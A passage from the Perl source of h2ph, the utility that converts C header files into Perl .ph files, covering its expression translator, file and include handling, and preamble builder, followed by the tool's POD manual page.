my $enum (@enum_subs) { my ($enum_name, $enum_value) = $enum =~ /^([a-zA-Z_]\w*)(=.+)?$/; $enum_name or next; $enum_value =~ s/^=//; $enum_val = (length($enum_value) ? $enum_value : $enum_val + 1); if ($opt_h) { print OUT ($t, "eval(\"\\n#line $eval_index $outfile\\n", "sub $enum_name () \{ $enum_val; \}\") ", "unless defined(\&$enum_name);\n"); ++ $eval_index; } else { print OUT ($t, "eval(\"sub $enum_name () \{ $enum_val; \}\") ", "unless defined(\&$enum_name);\n"); } } } elsif (/^(?:__extension__\s+)?(?:extern|static)\s+(?:__)?inline(?:__)?\s+/ and !/;\s*$/ and !/{\s*}\s*$/) { # { for vi # This is a hack to parse the inline functions in the glibc headers. # Warning: massive kludge ahead. We suppose inline functions # are mainly constructed like macros. while (1) { last unless defined ($next = next_line($file)); chomp $next; undef $_, last if $next =~ /__THROW\s*;/ or $next =~ /^(__extension__|extern|static)\b/; $_ .= " $next"; print OUT "# $next\n" if $opt_D; last if $next =~ /^}|^{.*}\s*$/; } next if not defined; # because it's only a prototype s/\b(__extension__|extern|static|(?:__)?inline(?:__)?)\b//g; # violently drop #ifdefs s/#\s*if.*?#\s*endif//g and print OUT "# some #ifdef were dropped here -- fill in the blanks\n"; if (s/^(?:\w|\s|\*)*\s(\w+)\s*//) { $name = $1; } else { warn "name not found"; next; # shouldn't occur... } my @args; if (s/^\(([^()]*)\)\s*(\w+\s*)*//) { for my $arg (split /,/, $1) { if ($arg =~ /(\w+)\s*$/) { $curargs{$1} = 1; push @args, $1; } } } $args = ( @args ? "my(" . (join ',', map "\$$_", @args) . ") = \@_;\n$t " : "" ); my $proto = @args ? '' : '() '; $new = ''; s/\breturn\b//g; # "return" doesn't occur in macros usually... expr(); # try to find and perlify local C variables our @local_variables = (); # needs to be a our(): (?{...}) bug workaround { use re "eval"; my $typelist = join '|', keys %isatype; $new =~ s[' (?:(?:__)?const(?:__)?\s+)? (?:(?:un)?signed\s+)? (?:long\s+)? (?:$typelist)\s+ (\w+) (?{ push @local_variables, $1 }) '] [my \$$1]gx; $new =~ s[' (?:(?:__)?const(?:__)?\s+)? (?:(?:un)?signed\s+)? (?:long\s+)? (?:$typelist)\s+ ' \s+ &(\w+) \s* ; (?{ push @local_variables, $1 }) ] [my \$$1;]gx; } $new =~ s/&$_\b/\$$_/g for @local_variables; $new =~ s/(["\\])/\\$1/g; #"]); # now that's almost like a macro (we hope) EMIT($proto); } } $Is_converted{$file} = 1; if ($opt_e && exists($bad_file{$file})) { unlink($Dest_dir . '/' . $outfile); $next = ''; } else { print OUT "1;\n"; queue_includes_from($file) if $opt_a; } } if ($opt_e && (scalar(keys %bad_file) > 0)) { warn "Was unable to convert the following files:\n"; warn "\t" . join("\n\t",sort(keys %bad_file)) . "\n"; } exit $Exit; sub EMIT { my $proto = shift; $new = reindent($new); $args = reindent($args); $new =~ s/(['\\])/\\$1/g; #']); if ($opt_h) { print OUT $t, "eval \"\\n#line $eval_index $outfile\\n\" . 'sub $name $proto\{\n$t ${args}eval q($new);\n$t}' unless defined(\&$name);\n"; $eval_index++; } else { print OUT $t, "eval 'sub $name $proto\{\n$t ${args}eval q($new);\n$t}' unless defined(\&$name);\n"; } %curargs = (); return; } sub expr { if (/\b__asm__\b/) { # freak out $new = '"(assembly code)"'; return } my $joined_args; if(keys(%curargs)) { $joined_args = join('|', keys(%curargs)); } while ($_ ne '') { s/^\&\&// && do { $new .= " &&"; next;}; # handle && operator s/^\&([\(a-z\)]+)/$1/i; # hack for things that take the address of s/^(\s+)// && do {$new .= ' '; next;}; s/^0X([0-9A-F]+)[UL]*//i && do {my $hex = $1; $hex =~ s/^0+//; if (length $hex > 8 && !$Config{use64bitint}) { # Croak if nv_preserves_uv_bits < 64 ? $new .= hex(substr($hex, -8)) + 2**32 * hex(substr($hex, 0, -8)); # The above will produce "erroneous" code # if the hex constant was e.g. inside UINT64_C # macro, but then again, h2ph is an approximation. } else { $new .= lc("0x$hex"); } next;}; s/^(-?\d+\.\d+E[-+]?\d+)[FL]?//i && do {$new .= $1; next;}; s/^(\d+)\s*[LU]*//i && do {$new .= $1; next;}; s/^("(\\"|[^"])*")// && do {$new .= $1; next;}; s/^'((\\"|[^"])*)'// && do { if ($curargs{$1}) { $new .= "ord('\$$1')"; } else { $new .= "ord('$1')"; } next; }; # replace "sizeof(foo)" with "{foo}" # also, remove * (C dereference operator) to avoid perl syntax # problems. Where the %sizeof array comes from is anyone's # guess (c2ph?), but this at least avoids fatal syntax errors. # Behavior is undefined if sizeof() delimiters are unbalanced. # This code was modified to able to handle constructs like this: # sizeof(*(p)), which appear in the HP-UX 10.01 header files. s/^sizeof\s*\(// && do { $new .= '$sizeof'; my $lvl = 1; # already saw one open paren # tack { on the front, and skip it in the loop $_ = "{" . "$_"; my $index = 1; # find balanced closing paren while ($index <= length($_) && $lvl > 0) { $lvl++ if substr($_, $index, 1) eq "("; $lvl-- if substr($_, $index, 1) eq ")"; $index++; } # tack } on the end, replacing ) substr($_, $index - 1, 1) = "}"; # remove pesky * operators within the sizeof argument substr($_, 0, $index - 1) =~ s/\*//g; next; }; # Eliminate typedefs /\(([\w\s]+)[\*\s]*\)\s*[\w\(]/ && do { my $doit = 1; foreach (split /\s+/, $1) { # Make sure all the words are types, unless($isatype{$_} or $_ eq 'struct' or $_ eq 'union'){ $doit = 0; last; } } if( $doit ){ s/\([\w\s]+[\*\s]*\)// && next; # then eliminate them. } }; # struct/union member, including arrays: s/^([_A-Z]\w*(\[[^\]]+\])?((\.|->)[_A-Z]\w*(\[[^\]]+\])?)+)//i && do { my $id = $1; $id =~ s/(\.|(->))([^\.\-]*)/->\{$3\}/g; $id =~ s/\b([^\$])($joined_args)/$1\$$2/g if length($joined_args); while($id =~ /\[\s*([^\$\&\d\]]+)\]/) { my($index) = $1; $index =~ s/\s//g; if(exists($curargs{$index})) { $index = "\$$index"; } else { $index = "&$index"; } $id =~ s/\[\s*([^\$\&\d\]]+)\]/[$index]/; } $new .= " (\$$id)"; }; s/^([_a-zA-Z]\w*)// && do { my $id = $1; if ($id eq 'struct' || $id eq 'union') { s/^\s+(\w+)//; $id .= ' ' . $1; $isatype{$id} = 1; } elsif ($id =~ /^((un)?signed)|(long)|(short)$/) { while (s/^\s+(\w+)//) { $id .= ' ' . $1; } $isatype{$id} = 1; } if ($curargs{$id}) { $new .= "\$$id"; $new .= '->' if /^[\[\{]/; } elsif ($id eq 'defined') { $new .= 'defined'; } elsif (/^\s*\(/) { s/^\s*\((\w),/("$1",/ if $id =~ /^_IO[WR]*$/i; # cheat $new .= " &$id"; } elsif ($isatype{$id}) { if ($new =~ /\{\s*$/) { $new .= "'$id'"; } elsif ($new =~ /\(\s*$/ && /^[\s*]*\)/) { $new =~ s/\(\s*$//; s/^[\s*]*\)//; } else { $new .= q(').$id.q('); } } else { if ($inif) { if ($new =~ /defined\s*$/) { $new .= '(&' . $id . ')'; } elsif ($new =~ /defined\s*\($/) { $new .= '&' . $id; } else { $new .= '(defined(&' . $id . ') ? &' . $id . ' : undef)'; } } elsif (/^\[/) { $new .= " \$$id"; } else { $new .= ' &' . $id; } } next; }; s/^(.)// && do { if ($1 ne '#') { $new .= $1; } next;}; } } sub next_line { my $file = shift; my ($in, $out); my $pre_sub_tri_graphs = 1; READ: while (not eof IN) { $in .= <IN>; chomp $in; next unless length $in; while (length $in) { if ($pre_sub_tri_graphs) { # Preprocess all tri-graphs # including things stuck in quoted string constants. $in =~ s/\?\?=/#/g; # | ??=| #| $in =~ s/\?\?\!/|/g; # | ??!| || $in =~ s/\?\?'/^/g; # | ??'| ^| $in =~ s/\?\?\(/[/g; # | ??(| [| $in =~ s/\?\?\)/]/g; # | ??)| ]| $in =~ s/\?\?\-/~/g; # | ??-| ~| $in =~ s/\?\?\//\\/g; # | ??/| \| $in =~ s/\?\?</{/g; # | ??<| {| $in =~ s/\?\?>/}/g; # | ??>| }| } if ($in =~ /^\#ifdef __LANGUAGE_PASCAL__/) { # Tru64 disassembler.h evilness: mixed C and Pascal. while (<IN>) { last if /^\#endif/; } $in = ""; next READ; } if ($in =~ /^extern inline / && # Inlined assembler. $^O eq 'linux' && $file =~ m!(?:^|/)asm/[^/]+\.h$!) { while (<IN>) { last if /^}/; } $in = ""; next READ; } if ($in =~ s/\\$//) { # \-newline $out .= ' '; next READ; } elsif ($in =~ s/^([^"'\\\/]+)//) { # Passthrough $out .= $1; } elsif ($in =~ s/^(\\.)//) { # \... $out .= $1; } elsif ($in =~ /^'/) { # '... if ($in =~ s/^('(\\.|[^'\\])*')//) { $out .= $1; } else { next READ; } } elsif ($in =~ /^"/) { # "... if ($in =~ s/^("(\\.|[^"\\])*")//) { $out .= $1; } else { next READ; } } elsif ($in =~ s/^\/\/.*//) { # //... # fall through } elsif ($in =~ m/^\/\*/) { # /*... # C comment removal adapted from perlfaq6: if ($in =~ s/^\/\*[^*]*\*+([^\/*][^*]*\*+)*\///) { $out .= ' '; } else { # Incomplete /* */ next READ; } } elsif ($in =~ s/^(\/)//) { # /... $out .= $1; } elsif ($in =~ s/^([^\'\"\\\/]+)//) { $out .= $1; } elsif ($^O eq 'linux' && $file =~ m!(?:^|/)linux/byteorder/pdp_endian\.h$! && $in =~ s!\'T KNOW!!) { $out =~ s!I DON$!I_DO_NOT_KNOW!; } else { if ($opt_e) { warn "Cannot parse $file:\n$in\n"; $bad_file{$file} = 1; $in = ''; $out = undef; last READ; } else { die "Cannot parse:\n$in\n"; } } } last READ if $out =~ /\S/; } return $out; } # Handle recursive subdirectories without getting a grotesquely big stack. # Could this be implemented using File::Find? sub next_file { my $file; while (@ARGV) { $file = shift @ARGV; if ($file eq '-' or -f $file or -l $file) { return $file; } elsif (-d $file) { if ($opt_r) { expand_glob($file); } else { print STDERR "Skipping directory '$file'\n"; } } elsif ($opt_a) { return $file; } else { print STDERR "Skipping '$file': not a file or directory\n"; } } return undef; } # Put all the files in $directory into @ARGV for processing. sub expand_glob { my ($directory) = @_; $directory =~ s:/$::; opendir DIR, $directory; foreach (readdir DIR) { next if ($_ eq '.' or $_ eq '..'); # expand_glob() is going to be called until $ARGV[0] isn't a # directory; so push directories, and unshift everything else. if (-d "$directory/$_") { push @ARGV, "$directory/$_" } else { unshift @ARGV, "$directory/$_" } } closedir DIR; } # Given $file, a symbolic link to a directory in the C include directory, # make an equivalent symbolic link in $Dest_dir, if we can figure out how. # Otherwise, just duplicate the file or directory. sub link_if_possible { my ($dirlink) = @_; my $target = eval 'readlink($dirlink)'; if ($target =~ m:^\.\./: or $target =~ m:^/:) { # The target of a parent or absolute link could leave the $Dest_dir # hierarchy, so let's put all of the contents of $dirlink (actually, # the contents of $target) into @ARGV; as a side effect down the # line, $dirlink will get created as an _actual_ directory. expand_glob($dirlink); } else { if (-l "$Dest_dir/$dirlink") { unlink "$Dest_dir/$dirlink" or print STDERR "Could not remove link $Dest_dir/$dirlink: $!\n"; } if (eval 'symlink($target, "$Dest_dir/$dirlink")') { print "Linking $target -> $Dest_dir/$dirlink\n"; # Make sure that the link _links_ to something: if (! -e "$Dest_dir/$target") { mkpath("$Dest_dir/$target", 0755) or print STDERR "Could not create $Dest_dir/$target/\n"; } } else { print STDERR "Could not symlink $target -> $Dest_dir/$dirlink: $!\n"; } } } # Push all #included files in $file onto our stack, except for STDIN # and files we've already processed. sub queue_includes_from { my ($file) = @_; my $line; return if ($file eq "-"); open HEADER, "<", $file or return; while (defined($line = <HEADER>)) { while (/\\$/) { # Handle continuation lines chop $line; $line .= <HEADER>; } if ($line =~ /^#\s*include\s+([<"])(.*?)[>"]/) { my ($delimiter, $new_file) = ($1, $2); # copy the prefix in the quote syntax (#include "x.h") case if ($delimiter eq q{"} && $file =~ m|^(.*)/|) { $new_file = "$1/$new_file"; } push(@ARGV, $new_file) unless $Is_converted{$new_file}; } } close HEADER; } # Determine include directories; $Config{usrinc} should be enough for (all # non-GCC?) C compilers, but gcc uses additional include directories. sub inc_dirs { my $from_gcc = `LC_ALL=C $Config{cc} -v -E - < /dev/null 2>&1 | awk '/^#include/, /^End of search list/' | grep '^ '`; length($from_gcc) ? (split(' ', $from_gcc), $Config{usrinc}) : ($Config{usrinc}); } # Create "_h2ph_pre.ph", if it doesn't exist or was built by a different # version of h2ph. sub build_preamble_if_necessary { # Increment $VERSION every time this function is modified: my $VERSION = 5; my $preamble = "$Dest_dir/_h2ph_pre.ph"; # Can we skip building the preamble file? if (-r $preamble) { # Extract version number from first line of preamble: open PREAMBLE, "<", $preamble or die "Cannot open $preamble: $!"; my $line = <PREAMBLE>; $line =~ /(\b\d+\b)/; close PREAMBLE or die "Cannot close $preamble: $!"; # Don't build preamble if a compatible preamble exists: return if $1 == $VERSION; } my (%define) = _extract_cc_defines(); open PREAMBLE, ">", $preamble or die "Cannot open $preamble: $!"; print PREAMBLE "# This file was created by h2ph version $VERSION\n"; # Prevent non-portable hex constants from warning. # # We still produce an overflow warning if we can't represent # a hex constant as an integer. print PREAMBLE "no warnings qw(portable);\n"; foreach (sort keys %define) { if ($opt_D) { print PREAMBLE "# $_=$define{$_}\n"; } if ($define{$_} =~ /^\((.*)\)$/) { # parenthesized value: d=(v) $define{$_} = $1; } if (/^(\w+)\((\w)\)$/) { my($macro, $arg) = ($1, $2); my $def = $define{$_}; $def =~ s/$arg/\$\{$arg\}/g; print PREAMBLE <<DEFINE; sub $macro(\$) { my (\$$arg) = \@_; \"$def\" } DEFINE } elsif ($define{$_} =~ /^([+-]?(\d+)?\.\d+([eE][+-]?\d+)?)[FL]?$/) { # float: print PREAMBLE "sub $_() { $1 }\n\n"; } elsif ($define{$_} =~ /^([+-]?\d+)U?L{0,2}$/i) { # integer: print PREAMBLE "sub $_() { $1 }\n\n"; } elsif ($define{$_} =~ /^([+-]?0x[\da-f]+)U?L{0,2}$/i) { # hex integer # Special cased, since perl warns on hex integers # that can't be represented in a UV. # # This way we get the warning at time of use, so the user # only gets the warning if they happen to use this # platform-specific definition. my $code = $1; $code = "hex('$code')" if length $code > 10; print PREAMBLE "sub $_() { $code }\n\n"; } elsif ($define{$_} =~ /^\w+$/) { my $def = $define{$_}; if ($isatype{$def}) { print PREAMBLE "sub $_() { \"$def\" }\n\n"; } else { print PREAMBLE "sub $_() { &$def }\n\n"; } } else { print PREAMBLE "sub $_() { \"\Q$define{$_}\E\" }\n\n"; } } print PREAMBLE "\n1;\n"; # avoid 'did not return a true value' when empty close PREAMBLE or die "Cannot close $preamble: $!"; } # %Config contains information on macros that are pre-defined by the # system's compiler. We need this information to make the .ph files # function with perl as the .h files do with cc. sub _extract_cc_defines { my %define; my $allsymbols = join " ", @Config{'ccsymbols', 'cppsymbols', 'cppccsymbols'}; # Split compiler pre-definitions into 'key=value' pairs: while ($allsymbols =~ /([^\s]+)=((\\\s|[^\s])+)/g) { $define{$1} = $2; if ($opt_D) { print STDERR "$_: $1 -> $2\n"; } } return %define; } 1; ############################################################################## __END__ =head1 NAME h2ph - convert .h C header files to .ph Perl header files =head1 SYNOPSIS B<h2ph [-d destination directory] [-r | -a] [-l] [-h] [-e] [-D] [-Q] [headerfiles]> =head1 DESCRIPTION I<h2ph> converts any C header files specified to the corresponding Perl header file format. It is most easily run while in /usr/include: cd /usr/include; h2ph * sys/* or cd /usr/include; h2ph * sys/* arpa/* netinet/* or cd /usr/include; h2ph -r -l . The output files are placed in the hierarchy rooted at Perl's architecture dependent library directory. You can specify a different hierarchy with a B<-d> switch. If run with no arguments, filters standard input to standard output. =head1 OPTIONS =over 4 =item -d destination_dir Put the resulting B<.ph> files beneath B<destination_dir>, instead of beneath the default Perl library location (C<$Config{'installsitearch'}>). =item -r Run recursively; if any of B<headerfiles> are directories, then run I<h2ph> on all files in those directories (and their subdirectories, etc.). B<-r> and B<-a> are mutually exclusive. =item -a Run automagically; convert B<headerfiles>, as well as any B<.h> files which they include. This option will search for B<.h> files in all directories which your C compiler ordinarily uses. B<-a> and B<-r> are mutually exclusive. =item -l Symbolic links will be replicated in the destination directory. If B<-l> is not specified, then links are skipped over. =item -h Put 'hints' in the .ph files which will help in locating problems with I<h2ph>. In those cases when you B<require> a B<.ph> file containing syntax errors, instead of the cryptic [ some error condition ] at (eval mmm) line nnn you will see the slightly more helpful [ some error condition ] at filename.ph line nnn However, the B<.ph> files almost double in size when built using B<-h>. =item -e If an error is encountered during conversion, output file will be removed and a warning emitted instead of terminating the conversion immediately. =item -D Include the code from the B<.h> file as a comment in the B<.ph> file. This is primarily used for debugging I<h2ph>. =item -Q 'Quiet' mode; don't print out the names of the files being converted. =back =head1 ENVIRONMENT No environment variables are used. =head1 FILES /usr/include/*.h /usr/include/sys/*.h etc. =head1 AUTHOR Larry Wall =head1 SEE ALSO perl(1) =head1 DIAGNOSTICS The usual warnings if it can't read or write the files involved. =head1 BUGS Doesn't construct the %sizeof array for you. It doesn't handle all C constructs, but it does attempt to isolate definitions inside evals so that you can get at the definitions that it can translate. It's only intended as a rough tool. You may need to dicker with the files produced. You have to run this program by hand; it's not run as part of the Perl installation. Doesn't handle complicated expressions built piecemeal, a la: enum { FIRST_VALUE, SECOND_VALUE, #ifdef ABC THIRD_VALUE #endif }; Doesn't necessarily locate all of your C compiler's internally-defined symbols. =cut
Close